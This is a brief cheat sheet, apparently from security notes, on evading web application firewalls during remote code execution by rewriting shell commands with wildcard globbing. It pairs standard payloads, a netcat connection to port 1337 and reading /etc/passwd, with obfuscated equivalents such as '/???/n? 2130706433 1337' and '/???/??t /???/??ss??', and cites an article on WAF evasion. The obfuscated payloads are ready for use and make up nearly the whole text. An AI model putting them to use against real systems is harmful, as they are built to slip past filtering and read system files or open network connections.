Remote Code Execution

Standard: /bin/nc 127.0.0.1 1337 
Evasion:/???/n? 2130706433 1337 
Used chars: / ? n [0-9]

Standard: /bin/cat /etc/passwd
Evasion: /???/??t /???/??ss??
Used chars: / ? t s

Referensi

• https://medium.com/secjuice/waf-evasion-techniques-718026d693d8